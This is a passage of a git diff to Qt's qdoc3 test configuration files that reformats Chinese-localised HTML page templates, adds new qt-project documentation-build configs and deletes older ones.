<li id=\"smallA\" class=\"t_button\">A</li>\n" \ + " <li id=\"medA\" class=\"t_button active\">A</li>\n" \ + " <li id=\"bigA\" class=\"t_button\">A</li>\n" \ + " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \ + " <span>Print</span></a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"content\">\n" + +HTML.footer = \ + " <!-- /div -->\n" \ + " <div class=\"feedback t_button\">\n" \ + " [+] Documentation Feedback</div>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"ft\">\n" \ + " <span></span>\n" \ + " </div>\n" \ + " </div> \n" \ + " <div class=\"footer\">\n" \ + " <p>\n" \ + " <acronym title=\"Copyright\">©</acronym> 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.</p>\n" \ + " <p>\n" \ + " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \ + " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \ + " <br />\n" \ + " <p>\n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.</p>\n" \ + " <p>\n" \ + " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \ + " Free Documentation License version 1.3</a>\n" \ + " as published by the Free Software Foundation.</p>\n" \ + " </div>\n" \ + " <div id=\"feedbackBox\">\n" \ + " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \ + " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \ + " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \ + " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \ + " </form>\n" \ + " </div>\n" \ + " <div id=\"blurpage\">\n" \ + " </div>\n" diff --git a/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf b/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf index b91530f..402ee9e 100644 --- a/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf +++ b/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf @@ -1,177 +1,176 @@ -HTML.stylesheets = style/style.css \ - style/OfflineStyle.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style_ie6.css +include(qt-html-default-styles.qdocconf) -HTML.postheader = " <div class=\"header\" id=\"qtdocheader\">\n" \ - " <div class=\"content\"> \n" \ - " <div id=\"nav-logo\">\n" \ - " <a href=\"index.html\">Home</a></div>\n" \ - " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \ - " <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \ - " <fieldset>\n" \ - " <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \ - " </fieldset>\n" \ - " </form></div>\n" \ - " <div id=\"nav-topright\">\n" \ - " <ul>\n" \ - " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \ - " <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \ - " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \ - " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \ - " DOC</a></li>\n" \ - " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \ - " <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \ - " </ul>\n" \ - " </div>\n" \ - " <div id=\"shortCut\">\n" \ - " <ul>\n" \ - " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.8</a></span></li>\n" \ - " <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \ - " </a></li>\n" \ - " </ul>\n" \ - " </div>\n" \ - " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \ - " <li><a href=\"#\">API Lookup</a> \n" \ - " <ul id=\"topmenuLook\"> \n" \ - " <li><a href=\"classes.html\">所有类</a></li> \n" \ - " <li><a href=\"functions.html\">所有函数</a></li> \n" \ - " <li><a href=\"modules.html\">Modules</a></li> \n" \ - " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \ - " <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \ - " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \ - " </ul> \n" \ - " </li> \n" \ - " <li><a href=\"#\">Qt Topics</a> \n" \ - " <ul id=\"topmenuTopic\"> \n" \ - " <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \ - " <li><a href=\"declarativeui.html\">Device UI's & Qt Quick</a></li> \n" \ - " <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \ - " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \ - " </ul> \n" \ - " </li> \n" \ - " <li><a href=\"#\">Examples</a> \n" \ - " <ul id=\"topmenuexample\"> \n" \ - " <li><a href=\"all-examples.html\">Examples</a></li> \n" \ - " <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \ - " <li><a href=\"demos.html\">Demos</a></li> \n" \ - " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \ - " <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \ - " </ul> \n" \ - " </li> \n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"wrapper\">\n" \ - " <div class=\"hd\">\n" \ - " <span></span>\n" \ - " </div>\n" \ - " <div class=\"bd group\">\n" \ - " <div class=\"sidebar\">\n" \ - " <div class=\"searchlabel\">\n" \ - " Search index:</div>\n" \ - " <div class=\"search\">\n" \ - " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \ - " <fieldset>\n" \ - " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \ - " </fieldset>\n" \ - " </form>\n" \ - " </div>\n" \ - " <div class=\"box first bottombar\" id=\"lookup\">\n" \ - " <h2 title=\"API Lookup\"><span></span>\n" \ - " API Lookup</h2>\n" \ - " <div id=\"list001\" class=\"list\">\n" \ - " <ul id=\"ul001\" >\n" \ - " <li class=\"defaultLink\"><a href=\"classes.html\">所有类</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"functions.html\">所有函数</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"box bottombar\" id=\"topics\">\n" \ - " <h2 title=\"Qt Topics\"><span></span>\n" \ - " Qt Topics</h2>\n" \ - " <div id=\"list002\" class=\"list\">\n" \ - " <ul id=\"ul002\" >\n" \ - " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's & Qt Quick</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"box\" id=\"examples\">\n" \ - " <h2 title=\"Examples\"><span></span>\n" \ - " Examples</h2>\n" \ - " <div id=\"list003\" class=\"list\">\n" \ - " <ul id=\"ul003\">\n" \ - " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \ - " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \ - " </ul> \n" \ - " </div>\n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"wrap\">\n" \ - " <div class=\"toolbar\">\n" \ - " <div class=\"breadcrumb toolblock\">\n" \ - " <ul>\n" \ - " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \ - " <!-- Bread crumbs goes here -->\n" +HTML.postheader = \ + " <div class=\"header\" id=\"qtdocheader\">\n" \ + " <div class=\"content\"> \n" \ + " <div id=\"nav-logo\">\n" \ + " <a href=\"index.html\">Home</a></div>\n" \ + " <a href=\"index.html\" class=\"qtref\"><span>Qt Reference Documentation</span></a>\n" \ + " <div id=\"narrowsearch\"><form onsubmit=\"return false;\" action=\"\" id=\"qtdocsearch\">\n" \ + " <fieldset>\n" \ + " <input type=\"text\" value=\"\" id=\"pageType\" name=\"searchstring\">\n" \ + " </fieldset>\n" \ + " </form></div>\n" \ + " <div id=\"nav-topright\">\n" \ + " <ul>\n" \ + " <li class=\"nav-topright-home\"><a href=\"http://qt.nokia.com/\">Qt HOME</a></li>\n" \ + " <li class=\"nav-topright-dev\"><a href=\"http://qt.nokia.com/developer\">DEV</a></li>\n" \ + " <li class=\"nav-topright-labs\"><a href=\"http://labs.qt.nokia.com/blogs/\">LABS</a></li>\n" \ + " <li class=\"nav-topright-doc nav-topright-doc-active\"><a href=\"http://doc.qt.nokia.com/\">\n" \ + " DOC</a></li>\n" \ + " <li class=\"nav-topright-blog\"><a href=\"http://blog.qt.nokia.com/\">BLOG</a></li>\n" \ + " <li class=\"nav-topright-shop\"><a title=\"SHOP\" href=\"http://shop.qt.nokia.com\">SHOP</a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " <div id=\"shortCut\">\n" \ + " <ul>\n" \ + " <li class=\"shortCut-topleft-inactive\"><span><a href=\"index.html\">Qt 4.8</a></span></li>\n" \ + " <li class=\"shortCut-topleft-active\"><a href=\"http://qt.nokia.com/doc/\">ALL VERSIONS" \ + " </a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " <ul class=\"sf-menu sf-js-enabled sf-shadow\" id=\"narrowmenu\"> \n" \ + " <li><a href=\"#\">API Lookup</a> \n" \ + " <ul id=\"topmenuLook\"> \n" \ + " <li><a href=\"classes.html\">所有类</a></li> \n" \ + " <li><a href=\"functions.html\">所有函数</a></li> \n" \ + " <li><a href=\"modules.html\">Modules</a></li> \n" \ + " <li><a href=\"namespaces.html\">Namespaces</a></li> \n" \ + " <li><a href=\"qtglobal.html\">Global stuff</a></li> \n" \ + " <li><a href=\"qdeclarativeelements.html\">QML elements</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " <li><a href=\"#\">Qt Topics</a> \n" \ + " <ul id=\"topmenuTopic\"> \n" \ + " <li><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li> \n" \ + " <li><a href=\"declarativeui.html\">Device UI's & Qt Quick</a></li> \n" \ + " <li><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li> \n" \ + " <li><a href=\"platform-specific.html\">Platform-specific info</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " <li><a href=\"#\">Examples</a> \n" \ + " <ul id=\"topmenuexample\"> \n" \ + " <li><a href=\"all-examples.html\">Examples</a></li> \n" \ + " <li><a href=\"tutorials.html\">Tutorials</a></li> \n" \ + " <li><a href=\"demos.html\">Demos</a></li> \n" \ + " <li><a href=\"qdeclarativeexamples.html\">QML Examples</a></li> \n" \ + " <li><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li> \n" \ + " </ul> \n" \ + " </li> \n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"wrapper\">\n" \ + " <div class=\"hd\">\n" \ + " <span></span>\n" \ + " </div>\n" \ + " <div class=\"bd group\">\n" \ + " <div class=\"sidebar\">\n" \ + " <div class=\"searchlabel\">\n" \ + " Search index:</div>\n" \ + " <div class=\"search\">\n" \ + " <form id=\"qtdocsearch\" action=\"\" onsubmit=\"return false;\">\n" \ + " <fieldset>\n" \ + " <input type=\"text\" name=\"searchstring\" id=\"pageType\" value=\"\" />\n" \ + " </fieldset>\n" \ + " </form>\n" \ + " </div>\n" \ + " <div class=\"box first bottombar\" id=\"lookup\">\n" \ + " <h2 title=\"API Lookup\"><span></span>\n" \ + " API Lookup</h2>\n" \ + " <div id=\"list001\" class=\"list\">\n" \ + " <ul id=\"ul001\" >\n" \ + " <li class=\"defaultLink\"><a href=\"classes.html\">所有类</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"functions.html\">所有函数</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"modules.html\">Modules</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"namespaces.html\">Namespaces</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qtglobal.html\">Global stuff</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qdeclarativeelements.html\">QML elements</a></li>\n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"box bottombar\" id=\"topics\">\n" \ + " <h2 title=\"Qt Topics\"><span></span>\n" \ + " Qt Topics</h2>\n" \ + " <div id=\"list002\" class=\"list\">\n" \ + " <ul id=\"ul002\" >\n" \ + " <li class=\"defaultLink\"><a href=\"qt-basic-concepts.html\">Basic Qt architecture</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"declarativeui.html\">Device UI's & Qt Quick</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qt-gui-concepts.html\">Desktop UI components</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"platform-specific.html\">Platform-specific info</a></li>\n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"box\" id=\"examples\">\n" \ + " <h2 title=\"Examples\"><span></span>\n" \ + " Examples</h2>\n" \ + " <div id=\"list003\" class=\"list\">\n" \ + " <ul id=\"ul003\">\n" \ + " <li class=\"defaultLink\"><a href=\"all-examples.html\">Examples</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"tutorials.html\">Tutorials</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"demos.html\">Demos</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html\">QML Examples</a></li>\n" \ + " <li class=\"defaultLink\"><a href=\"qdeclarativeexamples.html#Demos\">QML Demos</a></li>\n" \ + " </ul> \n" \ + " </div>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"wrap\">\n" \ + " <div class=\"toolbar\">\n" \ + " <div class=\"breadcrumb toolblock\">\n" \ + " <ul>\n" \ + " <li class=\"first\"><a href=\"index.html\">Home</a></li>\n" \ + " <!-- Bread crumbs goes here -->\n" -HTML.postpostheader = " </ul>\n" \ - " </div>\n" \ - " <div class=\"toolbuttons toolblock\">\n" \ - " <ul>\n" \ - " <li id=\"smallA\" class=\"t_button\">A</li>\n" \ - " <li id=\"medA\" class=\"t_button active\">A</li>\n" \ - " <li id=\"bigA\" class=\"t_button\">A</li>\n" \ - " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \ - " <span>Print</span></a></li>\n" \ - " </ul>\n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"content\">\n" +HTML.postpostheader = \ + " </ul>\n" \ + " </div>\n" \ + " <div class=\"toolbuttons toolblock\">\n" \ + " <ul>\n" \ + " <li id=\"smallA\" class=\"t_button\">A</li>\n" \ + " <li id=\"medA\" class=\"t_button active\">A</li>\n" \ + " <li id=\"bigA\" class=\"t_button\">A</li>\n" \ + " <li id=\"print\" class=\"t_button\"><a href=\"javascript:this.print();\">\n" \ + " <span>Print</span></a></li>\n" \ + " </ul>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"content\">\n" -HTML.footer = " <!-- /div -->\n" \ - " <div class=\"feedback t_button\">\n" \ - " [+] Documentation Feedback</div>\n" \ - " </div>\n" \ - " </div>\n" \ - " <div class=\"ft\">\n" \ - " <span></span>\n" \ - " </div>\n" \ - " </div> \n" \ - " <div class=\"footer\">\n" \ - " <p>\n" \ - " <acronym title=\"Copyright\">©</acronym> 2008-2010 Nokia Corporation and/or its\n" \ - " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ - " in Finland and/or other countries worldwide.</p>\n" \ - " <p>\n" \ - " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \ - " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \ - " <br />\n" \ - " <p>\n" \ - " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ - " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ - " with the terms contained in a written agreement between you and Nokia.</p>\n" \ - " <p>\n" \ - " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \ - " Free Documentation License version 1.3</a>\n" \ - " as published by the Free Software Foundation.</p>\n" \ - " </div>\n" \ - " <div id=\"feedbackBox\">\n" \ - " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \ - " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \ - " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \ - " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \ - " </form>\n" \ - " </div>\n" \ - " <div id=\"blurpage\">\n" \ - " </div>\n" +HTML.footer = \ + " <!-- /div -->\n" \ + " <div class=\"feedback t_button\">\n" \ + " [+] Documentation Feedback</div>\n" \ + " </div>\n" \ + " </div>\n" \ + " <div class=\"ft\">\n" \ + " <span></span>\n" \ + " </div>\n" \ + " </div> \n" \ + " <div class=\"footer\">\n" \ + " <p>\n" \ + " <acronym title=\"Copyright\">©</acronym> 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.</p>\n" \ + " <p>\n" \ + " All other trademarks are property of their respective owners. <a title=\"Privacy Policy\"\n" \ + " href=\"http://qt.nokia.com/about/privacy-policy\">Privacy Policy</a></p>\n" \ + " <br />\n" \ + " <p>\n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.</p>\n" \ + " <p>\n" \ + " Alternatively, this document may be used under the terms of the <a href=\"http://www.gnu.org/licenses/fdl.html\">GNU\n" \ + " Free Documentation License version 1.3</a>\n" \ + " as published by the Free Software Foundation.</p>\n" \ + " </div>\n" \ + " <div id=\"feedbackBox\">\n" \ + " <div id=\"feedcloseX\" class=\"feedclose t_button\">X</div>\n" \ + " <form id=\"feedform\" action=\"http://doc.qt.nokia.com/docFeedbck/feedback.php\" method=\"get\">\n" \ + " <p><textarea id=\"feedbox\" name=\"feedText\" rows=\"5\" cols=\"40\">Please submit your feedback...</textarea></p>\n" \ + " <p><input id=\"feedsubmit\" class=\"feedclose\" type=\"submit\" name=\"feedback\" /></p>\n" \ + " </form>\n" \ + " </div>\n" \ + " <div id=\"blurpage\">\n" \ + " </div>\n" diff --git a/tools/qdoc3/test/qt-project-api-only.qdocconf b/tools/qdoc3/test/qt-project-api-only.qdocconf new file mode 100644 index 0000000..4a91601 --- /dev/null +++ b/tools/qdoc3/test/qt-project-api-only.qdocconf @@ -0,0 +1,32 @@ +# Ensures that the generated index contains a URL that can be used by the +# tools documentation (assistant.qdocconf, designer.qdocconf, linguist.qdocconf, +# qmake.qdocconf). + +url = ./ + +# Ensures that the documentation for the tools is not included in the generated +# .qhp file. + +qhp.Qt.excluded += $QT_SOURCE_TREE/doc/src/development/assistant-manual.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/simpletextviewer.qdoc \ + $QT_SOURCE_TREE/doc/src/development/designer-manual.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/calculatorbuilder.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/calculatorform.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/customwidgetplugin.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/taskmenuextension.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/containerextension.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/worldtimeclockbuilder.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/worldtimeclockplugin.qdoc \ + $QT_SOURCE_TREE/doc/src/internationalization/linguist-manual.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/hellotr.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/arrowpad.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/trollprint.qdoc \ + $QT_SOURCE_TREE/doc/src/development/qmake-manual.qdoc + +# Remove the QML documentation from the Qt-only documentation. + +excludedirs += $QT_SOURCE_TREE/src/imports + +outputdir = $QT_BUILD_TREE/doc-build/html-qt +tagfile = $QT_BUILD_TREE/doc-build/html-qt/qt.tags +base = file:$QT_BUILD_TREE/doc-build/html-qt diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf new file mode 100644 index 0000000..3ed7cff --- /dev/null +++ b/tools/qdoc3/test/qt-project.qdocconf @@ -0,0 +1,110 @@ +include(compat.qdocconf) +include(macros.qdocconf) +include(qt-cpp-ignore.qdocconf) +include(qt-defines.qdocconf) + +project = Qt +description = Qt Reference Documentation +url = http://qt.nokia.com/doc/4.7 +version = 4.7.2 + +sourceencoding = UTF-8 +outputencoding = UTF-8 +naturallanguage = en_US + +qhp.projects = Qt + +qhp.Qt.file = qt.qhp +qhp.Qt.namespace = com.trolltech.qt.472 +qhp.Qt.virtualFolder = qdoc +qhp.Qt.indexTitle = Qt Reference Documentation +qhp.Qt.indexRoot = + +qhp.Qt.filterAttributes = qt 4.7.2 qtrefdoc +qhp.Qt.customFilters.Qt.name = Qt 4.7.2 +qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.2 +qhp.Qt.subprojects = classes overviews examples +qhp.Qt.subprojects.classes.title = Classes +qhp.Qt.subprojects.classes.indexTitle = Qt's Classes +qhp.Qt.subprojects.classes.selectors = class fake:headerfile +qhp.Qt.subprojects.classes.sortPages = true +qhp.Qt.subprojects.overviews.title = Overviews +qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs +qhp.Qt.subprojects.overviews.selectors = fake:page,group,module +qhp.Qt.subprojects.examples.title = Tutorials and Examples +qhp.Qt.subprojects.examples.indexTitle = Qt Examples +qhp.Qt.subprojects.examples.selectors = fake:example + +language = Cpp + +headerdirs = $QT_SOURCE_TREE/src \ + $QT_SOURCE_TREE/extensions/activeqt \ + $QT_SOURCE_TREE/tools/assistant/lib \ + $QT_SOURCE_TREE/tools/assistant/compat/lib \ + $QT_SOURCE_TREE/tools/designer/src/uitools \ + $QT_SOURCE_TREE/tools/designer/src/lib/extension \ + $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ + $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ + $QT_SOURCE_TREE/tools/qtestlib/src \ + $QT_SOURCE_TREE/tools/qdbus/src +sourcedirs = $QT_SOURCE_TREE/src \ + $QT_SOURCE_TREE/doc/src \ + $QT_SOURCE_TREE/extensions/activeqt \ + $QT_SOURCE_TREE/tools/assistant/lib \ + $QT_SOURCE_TREE/tools/assistant/compat/lib \ + $QT_SOURCE_TREE/tools/designer/src/uitools \ + $QT_SOURCE_TREE/tools/designer/src/lib/extension \ + $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ + $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ + $QT_SOURCE_TREE/tools/qtestlib/src \ + $QT_SOURCE_TREE/tools/qdbus + +excludedirs = $QT_SOURCE_TREE/src/3rdparty/clucene \ + $QT_SOURCE_TREE/src/3rdparty/des \ + $QT_SOURCE_TREE/src/3rdparty/freetype \ + $QT_SOURCE_TREE/src/3rdparty/harfbuzz \ + $QT_SOURCE_TREE/src/3rdparty/kdebase \ + $QT_SOURCE_TREE/src/3rdparty/libconninet \ + $QT_SOURCE_TREE/src/3rdparty/libjpeg \ + $QT_SOURCE_TREE/src/3rdparty/libmng \ + $QT_SOURCE_TREE/src/3rdparty/libpng \ + $QT_SOURCE_TREE/src/3rdparty/libtiff \ + $QT_SOURCE_TREE/src/3rdparty/md4 \ + $QT_SOURCE_TREE/src/3rdparty/md5 \ + $QT_SOURCE_TREE/src/3rdparty/patches \ + $QT_SOURCE_TREE/src/3rdparty/sha1 \ + $QT_SOURCE_TREE/src/3rdparty/sqlite \ + $QT_SOURCE_TREE/src/3rdparty/webkit/JavaScriptCore \ + $QT_SOURCE_TREE/src/3rdparty/webkit/WebCore \ + $QT_SOURCE_TREE/src/3rdparty/wintab \ + $QT_SOURCE_TREE/src/3rdparty/zlib \ + $QT_SOURCE_TREE/src/3rdparty/phonon/gstreamer \ + $QT_SOURCE_TREE/src/3rdparty/phonon/ds9 \ + $QT_SOURCE_TREE/src/3rdparty/phonon/qt7 \ + $QT_SOURCE_TREE/src/3rdparty/phonon/mmf \ + $QT_SOURCE_TREE/src/3rdparty/phonon/waveout \ + $QT_SOURCE_TREE/doc/src/snippets \ + $QT_SOURCE_TREE/doc/src/ja_JP \ + $QT_SOURCE_TREE/doc/src/zh_CN + +sources.fileextensions = "*.c++ *.cc *.cpp *.cxx *.mm *.qml *.qdoc" +headers.fileextensions = "*.ch *.h *.h++ *.hh *.hpp *.hxx" + +examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml" +examples.imageextensions = "*.png" + +exampledirs = $QT_SOURCE_TREE/doc/src \ + $QT_SOURCE_TREE/examples \ + $QT_SOURCE_TREE/examples/tutorials \ + $QT_SOURCE_TREE \ + $QT_SOURCE_TREE/qmake/examples \ + $QT_SOURCE_TREE/src/3rdparty/webkit/WebKit/qt/docs +imagedirs = $QT_SOURCE_TREE/doc/src/images \ + $QT_SOURCE_TREE/examples \ + $QT_SOURCE_TREE/doc/src/declarative/pics \ + $QT_SOURCE_TREE/doc/src/template/images +outputdir = $QT_BUILD_TREE/doc/html +tagfile = $QT_BUILD_TREE/doc/html/qt.tags +base = file:$QT_BUILD_TREE/doc/html + +HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt-webxml.qdocconf b/tools/qdoc3/test/qt-webxml.qdocconf deleted file mode 100644 index 80ced42..0000000 --- a/tools/qdoc3/test/qt-webxml.qdocconf +++ /dev/null @@ -1,12 +0,0 @@ -include(qt.qdocconf) - -quotinginformation = true -imagedirs = $QTDIR/doc/src/images \ - $QTDIR/examples \ - $QTDIR/doc/src/template/images - -outputdir = $QTDIR/doc/webxml -outputformats = WebXML - -generateindex = true -url = . diff --git a/tools/qdoc3/test/qt.qdocconf b/tools/qdoc3/test/qt.qdocconf deleted file mode 100644 index b7b5371..0000000 --- a/tools/qdoc3/test/qt.qdocconf +++ /dev/null @@ -1,151 +0,0 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) -include(qt-html-templates.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -versionsym = -version = %VERSION% -description = Qt Reference Documentation -url = http://qt.nokia.com/doc/4.8 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = en_US - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.480 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.indexTitle = Qt Reference Documentation -qhp.Qt.indexRoot = - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - -qhp.Qt.filterAttributes = qt 4.8.0 qtrefdoc -qhp.Qt.customFilters.Qt.name = Qt 4.8.0 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.8.0 -qhp.Qt.subprojects = classes qmlelements overviews examples -qhp.Qt.subprojects.classes.title = Classes -qhp.Qt.subprojects.classes.indexTitle = Qt's Classes -qhp.Qt.subprojects.classes.selectors = class fake:headerfile -qhp.Qt.subprojects.classes.sortPages = true -qhp.Qt.subprojects.qmlelements.title = QML Elements 